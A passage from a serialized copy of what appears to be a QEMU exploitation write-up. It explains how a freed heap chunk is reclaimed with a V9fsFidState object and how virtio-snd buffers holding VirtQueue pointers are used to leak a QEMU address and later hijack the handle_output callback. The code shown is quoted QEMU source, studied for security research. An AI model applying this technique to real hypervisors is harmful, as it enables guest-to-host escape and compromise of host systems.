g_hash_table_lookup",{"type":24,"tag":147,"props":6933,"children":6934},{"style":235},[6935],{"type":29,"value":480},{"type":24,"tag":147,"props":6937,"children":6938},{"style":247},[6939],{"type":29,"value":2203},{"type":24,"tag":147,"props":6941,"children":6942},{"style":235},[6943],{"type":29,"value":495},{"type":24,"tag":147,"props":6945,"children":6946},{"style":247},[6947],{"type":29,"value":6948},"fids",{"type":24,"tag":147,"props":6950,"children":6951},{"style":235},[6952],{"type":29,"value":546},{"type":24,"tag":147,"props":6954,"children":6955},{"style":229},[6956],{"type":29,"value":6957},"GINT_TO_POINTER",{"type":24,"tag":147,"props":6959,"children":6960},{"style":235},[6961],{"type":29,"value":6962},"(fid));\n",{"type":24,"tag":147,"props":6964,"children":6965},{"class":149,"line":659},[6966,6970],{"type":24,"tag":147,"props":6967,"children":6968},{"style":321},[6969],{"type":29,"value":4759},{"type":24,"tag":147,"props":6971,"children":6972},{"style":235},[6973],{"type":29,"value":6974}," (f) {\n",{"type":24,"tag":147,"props":6976,"children":6977},{"class":149,"line":684},[6978],{"type":24,"tag":147,"props":6979,"children":6980},{"style":154},[6981],{"type":29,"value":6982},"        /* If fid is already there return NULL */\n",{"type":24,"tag":147,"props":6984,"children":6985},{"class":149,"line":715},[6986,6991,6995,7000,7004,7009],{"type":24,"tag":147,"props":6987,"children":6988},{"style":229},[6989],{"type":29,"value":6990},"        BUG_ON",{"type":24,"tag":147,"props":6992,"children":6993},{"style":235},[6994],{"type":29,"value":480},{"type":24,"tag":147,"props":6996,"children":6997},{"style":247},[6998],{"type":29,"value":6999},"f",{"type":24,"tag":147,"props":7001,"children":7002},{"style":235},[7003],{"type":29,"value":495},{"type":24,"tag":147,"props":7005,"children":7006},{"style":247},[7007],{"type":29,"value":7008},"clunked",{"type":24,"tag":147,"props":7010,"children":7011},{"style":235},[7012],{"type":29,"value":1473},{"type":24,"tag":147,"props":7014,"children":7015},{"class":149,"line":744},[7016,7021,7025],{"type":24,"tag":147,"props":7017,"children":7018},{"style":321},[7019],{"type":29,"value":7020},"        return",{"type":24,"tag":147,"props":7022,"children":7023},{"style":218},[7024],{"type":29,"value":4284},{"type":24,"tag":147,"props":7026,"children":7027},{"style":235},[7028],{"type":29,"value":432},{"type":24,"tag":147,"props":7030,"children":7031},{"class":149,"line":784},[7032],{"type":24,"tag":147,"props":7033,"children":7034},{"style":235},[7035],{"type":29,"value":1952},{"type":24,"tag":147,"props":7037,"children":7038},{"class":149,"line":792},[7039,7043,7047,7052,7057,7061],{"type":24,"tag":147,"props":7040,"children":7041},{"style":235},[7042],{"type":29,"value":6922},{"type":24,"tag":147,"props":7044,"children":7045},{"style":241},[7046],{"type":29,"value":369},{"type":24,"tag":147,"props":7048,"children":7049},{"style":229},[7050],{"type":29,"value":7051}," g_new0",{"type":24,"tag":147,"props":7053,"children":7054},{"style":235},[7055],{"type":29,"value":7056},"(V9fsFidState, ",{"type":24,"tag":147,"props":7058,"children":7059},{"style":705},[7060],{"type":29,"value":1154},{"type":24,"tag":147,"props":7062,"children":7063},{"style":235},[7064],{"type":29,"value":1473},{"type":24,"tag":147,"props":7066,"children":7067},{"class":149,"line":805},[7068],{"type":24,"tag":147,"props":7069,"children":7070},{"emptyLinePlaceholder":16},[7071],{"type":29,"value":314},{"type":24,"tag":147,"props":7073,"children":7074},{"class":149,"line":813},[7075],{"type":24,"tag":147,"props":7076,"children":7077},{"style":235},[7078],{"type":29,"value":305},{"type":24,"tag":25,"props":7080,"children":7081},{},[7082,7084,7089],{"type":29,"value":7083},"After it is allocated, it will be placed into that freed region in place of the old ",{"type":24,"tag":80,"props":7085,"children":7087},{"className":7086},[],[7088],{"type":29,"value":5871},{"type":29,"value":5202},{"type":24,"tag":137,"props":7091,"children":7093},{"code":7092},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                                         |\nv                                         v\n+--------------------+---------------+----+\n|                    |               |....|\n|      .value Y      |  V9fsFidState |....|\n|                    |               |....|\n+--------------------+---------------+----+\n",[7094],{"type":24,"tag":80,"props":7095,"children":7096},{"__ignoreMap":7},[7097],{"type":29,"value":7092},{"type":24,"tag":112,"props":7099,"children":7101},{"id":7100},"leaking-a-qemu-address",[7102],{"type":29,"value":7103},"Leaking a QEMU Address",{"type":24,"tag":25,"props":7105,"children":7106},{},[7107],{"type":29,"value":7108},"We now have an arbitrary read/write primitive and a controlled chunk at a known address. The next step is to leak a QEMU code address so we can later redirect execution. To do this, we combine the arbitrary read primitive with the known-address chunk: we free that chunk, replace it with an object that contains pointers into QEMU's code or data, and then use arbitrary read to leak its fields.",{"type":24,"tag":25,"props":7110,"children":7111},{},[7112,7114,7119],{"type":29,"value":7113},"For this, we go back to virtio-snd and its buffer allocations. Recall ",{"type":24,"tag":80,"props":7115,"children":7117},{"className":7116},[],[7118],{"type":29,"value":133},{"type":29,"value":978},{"type":24,"tag":137,"props":7121,"children":7123},{"code":7122,"language":140,"meta":7,"className":141,"style":7},"static void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n    VirtIOSound *vsnd = VIRTIO_SND(vdev);\n    VirtIOSoundPCMBuffer *buffer;\n    VirtQueueElement *elem;\n    size_t msg_sz, size;\n    uint32_t stream_id;\n\n    [...]\n\n    for (;;) {\n        VirtIOSoundPCMStream *stream;\n\n        elem = virtqueue_pop(vq, sizeof(VirtQueueElement));\n        if (!elem) {\n            break;\n        }\n        /* get the message hdr object */\n        msg_sz = iov_to_buf(elem->out_sg,\n                            elem->out_num,\n                            0,\n                            &hdr,\n                            sizeof(virtio_snd_pcm_xfer));\n        if (msg_sz != sizeof(virtio_snd_pcm_xfer)) {\n            goto rx_err;\n        }\n        stream_id = le32_to_cpu(hdr.stream_id);\n\n        [...]\n\n        WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n            size = iov_size(elem->in_sg, elem->in_num) -\n                sizeof(virtio_snd_pcm_status);\n            buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);    // [1]\n            buffer->elem = elem;\n            buffer->vq = vq;                                            // [2]\n            buffer->size = 0;\n            buffer->offset = 0;\n            QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry);\n        }\n",[7124],{"type":24,"tag":80,"props":7125,"children":7126},{"__ignoreMap":7},[7127,7170,7177,7208,7223,7238,7250,7263,7270,7277,7284,7295,7310,7317,7345,7364,7375,7382,7390,7427,7448,7460,7473,7486,7512,7524,7531,7569,7576,7583,7590,7621,7676,7688,7729,7752,7781,7808,7835,7867],{"type":24,"tag":147,"props":7128,"children":7129},{"class":149,"line":150},[7130,7134,7138,7142,7146,7150,7154,7158,7162,7166],{"type":24,"tag":147,"props":7131,"children":7132},{"style":218},[7133],{"type":29,"value":221},{"type":24,"tag":147,"props":7135,"children":7136},{"style":218},[7137],{"type":29,"value":226},{"type":24,"tag":147,"props":7139,"children":7140},{"style":229},[7141],{"type":29,"value":232},{"type":24,"tag":147,"props":7143,"children":7144},{"style":235},[7145],{"type":29,"value":238},{"type":24,"tag":147,"props":7147,"children":7148},{"style":241},[7149],{"type":29,"value":244},{"type":24,"tag":147,"props":7151,"children":7152},{"style":247},[7153],{"type":29,"value":250},{"type":24,"tag":147,"props":7155,"children":7156},{"style":235},[7157],{"type":29,"value":255},{"type":24,"tag":147,"props":7159,"children":7160},{"style":241},[7161],{"type":29,"value":244},{"type":24,"tag":147,"props":7163,"children":7164},{"style":247},[7165],{"type":29,"value":264},{"type":24,"tag":147,"props":7167,"children":7168},{"style":235},[7169],{"type":29,"value":269},{"type":24,"tag":147,"props":7171,"children":7172},{"class":149,"line":160},[7173],{"type":24,"tag":147,"props":7174,"children":7175},{"style":235},[7176],{"type":29,"value":278},{"type":24,"tag":147,"props":7178,"children":7179},{"class":149,"line":169},[7180,7185,7189,7194,7198,7203],{"type":24,"tag":147,"props":7181,"children":7182},{"style":235},[7183],{"type":29,"value":7184},"    VirtIOSound ",{"type":24,"tag":147,"props":7186,"children":7187},{"style":241},[7188],{"type":29,"value":244},{"type":24,"tag":147,"props":7190,"children":7191},{"style":235},[7192],{"type":29,"value":7193},"vsnd ",{"type":24,"tag":147,"props":7195,"children":7196},{"style":241},[7197],{"type":29,"value":369},{"type":24,"tag":147,"props":7199,"children":7200},{"style":229},[7201],{"type":29,"value":7202}," VIRTIO_SND",{"type":24,"tag":147,"props":7204,"children":7205},{"style":235},[7206],{"type":29,"value":7207},"(vdev);\n",{"type":24,"tag":147,"props":7209,"children":7210},{"class":149,"line":178},[7211,7215,7219],{"type":24,"tag":147,"props":7212,"children":7213},{"style":235},[7214],{"type":29,"value":1326},{"type":24,"tag":147,"props":7216,"children":7217},{"style":241},[7218],{"type":29,"value":244},{"type":24,"tag":147,"props":7220,"children":7221},{"style":235},[7222],{"type":29,"value":1335},{"type":24,"tag":147,"props":7224,"children":7225},{"class":149,"line":187},[7226,7230,7234],{"type":24,"tag":147,"props":7227,"children":7228},{"style":235},[7229],{"type":29,"value":287},{"type":24,"tag":147,"props":7231,"children":7232},{"style":241},[7233],{"type":29,"value":244},{"type":24,"tag":147,"props":7235,"children":7236},{"style":235},[7237],{"type":29,"value":296},{"type":24,"tag":147,"props":7239,"children":7240},{"class":149,"line":196},[7241,7245],{"type":24,"tag":147,"props":7242,"children":7243},{"style":218},[7244],{"type":29,"value":1051},{"type":24,"tag":147,"props":7246,"children":7247},{"style":235},[7248],{"type":29,"value":7249}," msg_sz, size;\n",{"type":24,"tag":147,"props":7251,"children":7252},{"class":149,"line":205},[7253,7258],{"type":24,"tag":147,"props":7254,"children":7255},{"style":218},[7256],{"type":29,"value":7257},"    uint32_t",{"type":24,"tag":147,"props":7259,"children":7260},{"style":235},[7261],{"type":29,"value":7262}," stream_id;\n",{"type":24,"tag":147,"props":7264,"children":7265},{"class":149,"line":214},[7266],{"type":24,"tag":147,"props":7267,"children":7268},{"emptyLinePlaceholder":16},[7269],{"type":29,"value":314},{"type":24,"tag":147,"props":7271,"children":7272},{"class":149,"line":272},[7273],{"type":24,"tag":147,"props":7274,"children":7275},{"style":235},[7276],{"type":29,"value":305},{"type":24,"tag":147,"props":7278,"children":7279},{"class":149,"line":281},[7280],{"type":24,"tag":147,"props":7281,"children":7282},{"emptyLinePlaceholder":16},[7283],{"type":29,"value":314},{"type":24,"tag":147,"props":7285,"children":7286},{"class":149,"line":299},[7287,7291],{"type":24,"tag":147,"props":7288,"children":7289},{"style":321},[7290],{"type":29,"value":324},{"type":24,"tag":147,"props":7292,"children":7293},{"style":235},[7294],{"type":29,"value":329},{"type":24,"tag":147,"props":7296,"children":7297},{"class":149,"line":308},[7298,7302,7306],{"type":24,"tag":147,"props":7299,"children":7300},{"style":235},[7301],{"type":29,"value":338},{"type":24,"tag":147,"props":7303,"children":7304},{"style":241},[7305],{"type":29,"value":244},{"type":24,"tag":147,"props":7307,"children":7308},{"style":235},[7309],{"type":29,"value":347},{"type":24,"tag":147,"props":7311,"children":7312},{"class":149,"line":317},[7313],{"type":24,"tag":147,"props":7314,"children":7315},{"emptyLinePlaceholder":16},[7316],{"type":29,"value":314},{"type":24,"tag":147,"props":7318,"children":7319},{"class":149,"line":332},[7320,7324,7328,7332,7336,7340],{"type":24,"tag":147,"props":7321,"children":7322},{"style":235},[7323],{"type":29,"value":364},{"type":24,"tag":147,"props":7325,"children":7326},{"style":241},[7327],{"type":29,"value":369},{"type":24,"tag":147,"props":7329,"children":7330},{"style":229},[7331],{"type":29,"value":374},{"type":24,"tag":147,"props":7333,"children":7334},{"style":235},[7335],{"type":29,"value":379},{"type":24,"tag":147,"props":7337,"children":7338},{"style":218},[7339],{"type":29,"value":384},{"type":24,"tag":147,"props":7341,"children":7342},{"style":235},[7343],{"type":29,"value":7344},"(VirtQueueElement));\n",{"type":24,"tag":147,"props":7346,"children":7347},{"class":149,"line":350},[7348,7352,7356,7360],{"type":24,"tag":147,"props":7349,"children":7350},{"style":321},[7351],{"type":29,"value":403},{"type":24,"tag":147,"props":7353,"children":7354},{"style":235},[7355],{"type":29,"value":408},{"type":24,"tag":147,"props":7357,"children":7358},{"style":241},[7359],{"type":29,"value":413},{"type":24,"tag":147,"props":7361,"children":7362},{"style":235},[7363],{"type":29,"value":418},{"type":24,"tag":147,"props":7365,"children":7366},{"class":149,"line":358},[7367,7371],{"type":24,"tag":147,"props":7368,"children":7369},{"style":321},[7370],{"type":29,"value":427},{"type":24,"tag":147,"props":7372,"children":7373},{"style":235},[7374],{"type":29,"value":432},{"type":24,"tag":147,"props":7376,"children":7377},{"class":149,"line":397},[7378],{"type":24,"tag":147,"props":7379,"children":7380},{"style":235},[7381],{"type":29,"value":441},{"type":24,"tag":147,"props":7383,"children":7384},{"class":149,"line":421},[7385],{"type":24,"tag":147,"props":7386,"children":7387},{"style":154},[7388],{"type":29,"value":7389},"        /* get the message hdr object */\n",{"type":24,"tag":147,"props":7391,"children":7392},{"class":149,"line":435},[7393,7398,7402,7407,7411,7415,7419,7423],{"type":24,"tag":147,"props":7394,"children":7395},{"style":235},[7396],{"type":29,"value":7397},"        msg_sz ",{"type":24,"tag":147,"props":7399,"children":7400},{"style":241},[7401],{"type":29,"value":369},{"type":24,"tag":147,"props":7403,"children":7404},{"style":229},[7405],{"type":29,"value":7406}," iov_to_buf",{"type":24,"tag":147,"props":7408,"children":7409},{"style":235},[7410],{"type":29,"value":480},{"type":24,"tag":147,"props":7412,"children":7413},{"style":247},[7414],{"type":29,"value":532},{"type":24,"tag":147,"props":7416,"children":7417},{"style":235},[7418],{"type":29,"value":495},{"type":24,"tag":147,"props":7420,"children":7421},{"style":247},[7422],{"type":29,"value":861},{"type":24,"tag":147,"props":7424,"children":7425},{"style":235},[7426],{"type":29,"value":1549},{"type":24,"tag":147,"props":7428,"children":7429},{"class":149,"line":444},[7430,7435,7439,7444],{"type":24,"tag":147,"props":7431,"children":7432},{"style":247},[7433],{"type":29,"value":7434},"                            elem",{"type":24,"tag":147,"props":7436,"children":7437},{"style":235},[7438],{"type":29,"value":495},{"type":24,"tag":147,"props":7440,"children":7441},{"style":247},[7442],{"type":29,"value":7443},"out_num",{"type":24,"tag":147,"props":7445,"children":7446},{"style":235},[7447],{"type":29,"value":1549},{"type":24,"tag":147,"props":7449,"children":7450},{"class":149,"line":452},[7451,7456],{"type":24,"tag":147,"props":7452,"children":7453},{"style":705},[7454],{"type":29,"value":7455},"                            0",{"type":24,"tag":147,"props":7457,"children":7458},{"style":235},[7459],{"type":29,"value":1549},{"type":24,"tag":147,"props":7461,"children":7462},{"class":149,"line":461},[7463,7468],{"type":24,"tag":147,"props":7464,"children":7465},{"style":241},[7466],{"type":29,"value":7467},"                            &",{"type":24,"tag":147,"props":7469,"children":7470},{"style":235},[7471],{"type":29,"value":7472},"hdr,\n",{"type":24,"tag":147,"props":7474,"children":7475},{"class":149,"line":469},[7476,7481],{"type":24,"tag":147,"props":7477,"children":7478},{"style":218},[7479],{"type":29,"value":7480},"                            sizeof",{"type":24,"tag":147,"props":7482,"children":7483},{"style":235},[7484],{"type":29,"value":7485},"(virtio_snd_pcm_xfer));\n",{"type":24,"tag":147,"props":7487,"children":7488},{"class":149,"line":508},[7489,7493,7498,7502,7507],{"type":24,"tag":147,"props":7490,"children":7491},{"style":321},[7492],{"type":29,"value":403},{"type":24,"tag":147,"props":7494,"children":7495},{"style":235},[7496],{"type":29,"value":7497}," (msg_sz ",{"type":24,"tag":147,"props":7499,"children":7500},{"style":241},[7501],{"type":29,"value":4279},{"type":24,"tag":147,"props":7503,"children":7504},{"style":218},[7505],{"type":29,"value":7506}," sizeof",{"type":24,"tag":147,"props":7508,"children":7509},{"style":235},[7510],{"type":29,"value":7511},"(virtio_snd_pcm_xfer)) {\n",{"type":24,"tag":147,"props":7513,"children":7514},{"class":149,"line":572},[7515,7519],{"type":24,"tag":147,"props":7516,"children":7517},{"style":321},[7518],{"type":29,"value":6705},{"type":24,"tag":147,"props":7520,"children":7521},{"style":235},[7522],{"type":29,"value":7523}," rx_err;\n",{"type":24,"tag":147,"props":7525,"children":7526},{"class":149,"line":591},[7527],{"type":24,"tag":147,"props":7528,"children":7529},{"style":235},[7530],{"type":29,"value":441},{"type":24,"tag":147,"props":7532,"children":7533},{"class":149,"line":632},[7534,7539,7543,7547,7551,7556,7560,7565],{"type":24,"tag":147,"props":7535,"children":7536},{"style":235},[7537],{"type":29,"value":7538},"        stream_id ",{"type":24,"tag":147,"props":7540,"children":7541},{"style":241},[7542],{"type":29,"value":369},{"type":24,"tag":147,"props":7544,"children":7545},{"style":229},[7546],{"type":29,"value":2358},{"type":24,"tag":147,"props":7548,"children":7549},{"style":235},[7550],{"type":29,"value":480},{"type":24,"tag":147,"props":7552,"children":7553},{"style":247},[7554],{"type":29,"value":7555},"hdr",{"type":24,"tag":147,"props":7557,"children":7558},{"style":235},[7559],{"type":29,"value":87},{"type":24,"tag":147,"props":7561,"children":7562},{"style":247},[7563],{"type":29,"value":7564},"stream_id",{"type":24,"tag":147,"props":7566,"children":7567},{"style":235},[7568],{"type":29,"value":1473},{"type":24,"tag":147,"props":7570,"children":7571},{"class":149,"line":659},[7572],{"type":24,"tag":147,"props":7573,"children":7574},{"emptyLinePlaceholder":16},[7575],{"type":29,"value":314},{"type":24,"tag":147,"props":7577,"children":7578},{"class":149,"line":684},[7579],{"type":24,"tag":147,"props":7580,"children":7581},{"style":235},[7582],{"type":29,"value":458},{"type":24,"tag":147,"props":7584,"children":7585},{"class":149,"line":715},[7586],{"type":24,"tag":147,"props":7587,"children":7588},{"emptyLinePlaceholder":16},[7589],{"type":29,"value":314},{"type":24,"tag":147,"props":7591,"children":7592},{"class":149,"line":744},[7593,7597,7601,7605,7609,7613,7617],{"type":24,"tag":147,"props":7594,"children":7595},{"style":229},[7596],{"type":29,"value":475},{"type":24,"tag":147,"props":7598,"children":7599},{"style":235},[7600],{"type":29,"value":480},{"type":24,"tag":147,"props":7602,"children":7603},{"style":241},[7604],{"type":29,"value":485},{"type":24,"tag":147,"props":7606,"children":7607},{"style":247},[7608],{"type":29,"value":490},{"type":24,"tag":147,"props":7610,"children":7611},{"style":235},[7612],{"type":29,"value":495},{"type":24,"tag":147,"props":7614,"children":7615},{"style":247},[7616],{"type":29,"value":500},{"type":24,"tag":147,"props":7618,"children":7619},{"style":235},[7620],{"type":29,"value":505},{"type":24,"tag":147,"props":7622,"children":7623},{"class":149,"line":784},[7624,7628,7632,7636,7640,7644,7648,7652,7656,7660,7664,7668,7672],{"type":24,"tag":147,"props":7625,"children":7626},{"style":235},[7627],{"type":29,"value":514},{"type":24,"tag":147,"props":7629,"children":7630},{"style":241},[7631],{"type":29,"value":369},{"type":24,"tag":147,"props":7633,"children":7634},{"style":229},[7635],{"type":29,"value":523},{"type":24,"tag":147,"props":7637,"children":7638},{"style":235},[7639],{"type":29,"value":480},{"type":24,"tag":147,"props":7641,"children":7642},{"style":247},[7643],{"type":29,"value":532},{"type":24,"tag":147,"props":7645,"children":7646},{"style":235},[7647],{"type":29,"value":495},{"type":24,"tag":147,"props":7649,"children":7650},{"style":247},[7651],{"type":29,"value":541},{"type":24,"tag":147,"props":7653,"children":7654},{"style":235},[7655],{"type":29,"value":546},{"type":24,"tag":147,"props":7657,"children":7658},{"style":247},[7659],{"type":29,"value":532},{"type":24,"tag":147,"props":7661,"children":7662},{"style":235},[7663],{"type":29,"value":495},{"type":24,"tag":147,"props":7665,"children":7666},{"style":247},[7667],{"type":29,"value":559},{"type":24,"tag":147,"props":7669,"children":7670},{"style":235},[7671],{"type":29,"value":564},{"type":24,"tag":147,"props":7673,"children":7674},{"style":241},[7675],{"type":29,"value":569},{"type":24,"tag":147,"props":7677,"children":7678},{"class":149,"line":792},[7679,7683],{"type":24,"tag":147,"props":7680,"children":7681},{"style":218},[7682],{"type":29,"value":578},{"type":24,"tag":147,"props":7684,"children":7685},{"style":235},[7686],{"type":29,"value":7687},"(virtio_snd_pcm_status);\n",{"type":24,"tag":147,"props":7689,"children":7690},{"class":149,"line":805},[7691,7695,7699,7703,7707,7711,7715,7719,7724],{"type":24,"tag":147,"props":7692,"children":7693},{"style":235},[7694],{"type":29,"value":597},{"type":24,"tag":147,"props":7696,"children":7697},{"style":241},[7698],{"type":29,"value":369},{"type":24,"tag":147,"props":7700,"children":7701},{"style":229},[7702],{"type":29,"value":606},{"type":24,"tag":147,"props":7704,"children":7705},{"style":235},[7706],{"type":29,"value":480},{"type":24,"tag":147,"props":7708,"children":7709},{"style":218},[7710],{"type":29,"value":384},{"type":24,"tag":147,"props":7712,"children":7713},{"style":235},[7714],{"type":29,"value":619},{"type":24,"tag":147,"props":7716,"children":7717},{"style":241},[7718],{"type":29,"value":624},{"type":24,"tag":147,"props":7720,"children":7721},{"style":235},[7722],{"type":29,"value":7723}," size);",{"type":24,"tag":147,"props":7725,"children":7726},{"style":154},[7727],{"type":29,"value":7728},"    // [1]\n",{"type":24,"tag":147,"props":7730,"children":7731},{"class":149,"line":813},[7732,7736,7740,7744,7748],{"type":24,"tag":147,"props":7733,"children":7734},{"style":247},[7735],{"type":29,"value":638},{"type":24,"tag":147,"props":7737,"children":7738},{"style":235},[7739],{"type":29,"value":495},{"type":24,"tag":147,"props":7741,"children":7742},{"style":247},[7743],{"type":29,"value":532},{"type":24,"tag":147,"props":7745,"children":7746},{"style":241},[7747],{"type":29,"value":651},{"type":24,"tag":147,"props":7749,"children":7750},{"style":235},[7751],{"type":29,"value":656},{"type":24,"tag":147,"props":7753,"children":7754},{"class":149,"line":821},[7755,7759,7763,7767,7771,7776],{"type":24,"tag":147,"props":7756,"children":7757},{"style":247},[7758],{"type":29,"value":638},{"type":24,"tag":147,"props":7760,"children":7761},{"style":235},[7762],{"type":29,"value":495},{"type":24,"tag":147,"props":7764,"children":7765},{"style":247},[7766],{"type":29,"value":264},{"type":24,"tag":147,"props":7768,"children":7769},{"style":241},[7770],{"type":29,"value":651},{"type":24,"tag":147,"props":7772,"children":7773},{"style":235},[7774],{"type":29,"value":7775}," vq;",{"type":24,"tag":147,"props":7777,"children":7778},{"style":154},[7779],{"type":29,"value":7780},"                                            // [2]\n",{"type":24,"tag":147,"props":7782,"children":7783},{"class":149,"line":1902},[7784,7788,7792,7796,7800,7804],{"type":24,"tag":147,"props":7785,"children":7786},{"style":247},[7787],{"type":29,"value":638},{"type":24,"tag":147,"props":7789,"children":7790},{"style":235},[7791],{"type":29,"value":495},{"type":24,"tag":147,"props":7793,"children":7794},{"style":247},[7795],{"type":29,"value":698},{"type":24,"tag":147,"props":7797,"children":7798},{"style":241},[7799],{"type":29,"value":651},{"type":24,"tag":147,"props":7801,"children":7802},{"style":705},[7803],{"type":29,"value":708},{"type":24,"tag":147,"props":7805,"children":7806},{"style":235},[7807],{"type":29,"value":432},{"type":24,"tag":147,"props":7809,"children":7810},{"class":149,"line":1920},[7811,7815,7819,7823,7827,7831],{"type":24,"tag":147,"props":7812,"children":7813},{"style":247},[7814],{"type":29,"value":638},{"type":24,"tag":147,"props":7816,"children":7817},{"style":235},[7818],{"type":29,"value":495},{"type":24,"tag":147,"props":7820,"children":7821},{"style":247},[7822],{"type":29,"value":729},{"type":24,"tag":147,"props":7824,"children":7825},{"style":241},[7826],{"type":29,"value":651},{"type":24,"tag":147,"props":7828,"children":7829},{"style":705},[7830],{"type":29,"value":708},{"type":24,"tag":147,"props":7832,"children":7833},{"style":235},[7834],{"type":29,"value":432},{"type":24,"tag":147,"props":7836,"children":7837},{"class":149,"line":1929},[7838,7842,7846,7850,7854,7858,7862],{"type":24,"tag":147,"props":7839,"children":7840},{"style":229},[7841],{"type":29,"value":750},{"type":24,"tag":147,"props":7843,"children":7844},{"style":235},[7845],{"type":29,"value":480},{"type":24,"tag":147,"props":7847,"children":7848},{"style":241},[7849],{"type":29,"value":485},{"type":24,"tag":147,"props":7851,"children":7852},{"style":247},[7853],{"type":29,"value":490},{"type":24,"tag":147,"props":7855,"children":7856},{"style":235},[7857],{"type":29,"value":495},{"type":24,"tag":147,"props":7859,"children":7860},{"style":247},[7861],{"type":29,"value":771},{"type":24,"tag":147,"props":7863,"children":7864},{"style":235},[7865],{"type":29,"value":7866},", buffer, entry);\n",{"type":24,"tag":147,"props":7868,"children":7869},{"class":149,"line":1938},[7870],{"type":24,"tag":147,"props":7871,"children":7872},{"style":235},[7873],{"type":29,"value":441},{"type":24,"tag":25,"props":7875,"children":7876},{},[7877,7878,7883,7885,7890,7892,7897,7899,7905],{"type":29,"value":832},{"type":24,"tag":80,"props":7879,"children":7881},{"className":7880},[],[7882],{"type":29,"value":838},{"type":29,"value":7884},", QEMU allocates a ",{"type":24,"tag":80,"props":7886,"children":7888},{"className":7887},[],[7889],{"type":29,"value":976},{"type":29,"value":7891}," whose size depends on the guest-provided iovec, and at ",{"type":24,"tag":80,"props":7893,"children":7895},{"className":7894},[],[7896],{"type":29,"value":874},{"type":29,"value":7898}," it stores the ",{"type":24,"tag":80,"props":7900,"children":7902},{"className":7901},[],[7903],{"type":29,"value":7904},"VirtQueue *vq",{"type":29,"value":7906}," pointer into the buffer.",{"type":24,"tag":25,"props":7908,"children":7909},{},[7910,7912,7918],{"type":29,"value":7911},"This ",{"type":24,"tag":80,"props":7913,"children":7915},{"className":7914},[],[7916],{"type":29,"value":7917},"VirtQueue",{"type":29,"value":7919}," structure contains some useful fields:",{"type":24,"tag":137,"props":7921,"children":7923},{"code":7922,"language":140,"meta":7,"className":141,"style":7},"struct VirtQueue\n{\n    [...]\n\n    VirtIOHandleOutput handle_output;\n    VirtIODevice *vdev;\n\n    [...]\n};\n",[7924],{"type":24,"tag":80,"props":7925,"children":7926},{"__ignoreMap":7},[7927,7939,7946,7953,7960,7968,7985,7992,7999],{"type":24,"tag":147,"props":7928,"children":7929},{"class":149,"line":150},[7930,7934],{"type":24,"tag":147,"props":7931,"children":7932},{"style":218},[7933],{"type":29,"value":993},{"type":24,"tag":147,"props":7935,"children":7936},{"style":235},[7937],{"type":29,"value":7938}," VirtQueue\n",{"type":24,"tag":147,"props":7940,"children":7941},{"class":149,"line":160},[7942],{"type":24,"tag":147,"props":7943,"children":7944},{"style":235},[7945],{"type":29,"value":278},{"type":24,"tag":147,"props":7947,"children":7948},{"class":149,"line":169},[7949],{"type":24,"tag":147,"props":7950,"children":7951},{"style":235},[7952],{"type":29,"value":305},{"type":24,"tag":147,"props":7954,"children":7955},{"class":149,"line":178},[7956],{"type":24,"tag":147,"props":7957,"children":7958},{"emptyLinePlaceholder":16},[7959],{"type":29,"value":314},{"type":24,"tag":147,"props":7961,"children":7962},{"class":149,"line":187},[7963],{"type":24,"tag":147,"props":7964,"children":7965},{"style":235},[7966],{"type":29,"value":7967},"    VirtIOHandleOutput handle_output;\n",{"type":24,"tag":147,"props":7969,"children":7970},{"class":149,"line":196},[7971,7976,7980],{"type":24,"tag":147,"props":7972,"children":7973},{"style":235},[7974],{"type":29,"value":7975},"    VirtIODevice ",{"type":24,"tag":147,"props":7977,"children":7978},{"style":241},[7979],{"type":29,"value":244},{"type":24,"tag":147,"props":7981,"children":7982},{"style":235},[7983],{"type":29,"value":7984},"vdev;\n",{"type":24,"tag":147,"props":7986,"children":7987},{"class":149,"line":205},[7988],{"type":24,"tag":147,"props":7989,"children":7990},{"emptyLinePlaceholder":16},[7991],{"type":29,"value":314},{"type":24,"tag":147,"props":7993,"children":7994},{"class":149,"line":214},[7995],{"type":24,"tag":147,"props":7996,"children":7997},{"style":235},[7998],{"type":29,"value":305},{"type":24,"tag":147,"props":8000,"children":8001},{"class":149,"line":272},[8002],{"type":24,"tag":147,"props":8003,"children":8004},{"style":235},[8005],{"type":29,"value":1120},{"type":24,"tag":25,"props":8007,"children":8008},{},[8009,8010,8016,8018,8024],{"type":29,"value":5094},{"type":24,"tag":80,"props":8011,"children":8013},{"className":8012},[],[8014],{"type":29,"value":8015},".handle_output",{"type":29,"value":8017}," field is a callback, specifically a function pointer that gets called when the virtqueue receives a notification from the guest, and ",{"type":24,"tag":80,"props":8019,"children":8021},{"className":8020},[],[8022],{"type":29,"value":8023},".vdev",{"type":29,"value":8025}," is the pointer passed to it as the first argument:",{"type":24,"tag":137,"props":8027,"children":8029},{"code":8028,"language":140,"meta":7,"className":141,"style":7},"static void virtio_queue_notify_vq(VirtQueue *vq)\n{\n    if (vq->vring.desc && vq->handle_output) {\n        VirtIODevice *vdev = vq->vdev;\n\n        [...]\n\n        vq->handle_output(vdev, vq);\n\n        [...]\n    }\n}\n",[8030],{"type":24,"tag":80,"props":8031,"children":8032},{"__ignoreMap":7},[8033,8066,8073,8128,8165,8172,8179,8186,8207,8214,8221,8228],{"type":24,"tag":147,"props":8034,"children":8035},{"class":149,"line":150},[8036,8040,8044,8049,8054,8058,8062],{"type":24,"tag":147,"props":8037,"children":8038},{"style":218},[8039],{"type":29,"value":221},{"type":24,"tag":147,"props":8041,"children":8042},{"style":218},[8043],{"type":29,"value":226},{"type":24,"tag":147,"props":8045,"children":8046},{"style":229},[8047],{"type":29,"value":8048}," virtio_queue_notify_vq",{"type":24,"tag":147,"props":8050,"children":8051},{"style":235},[8052],{"type":29,"value":8053},"(VirtQueue 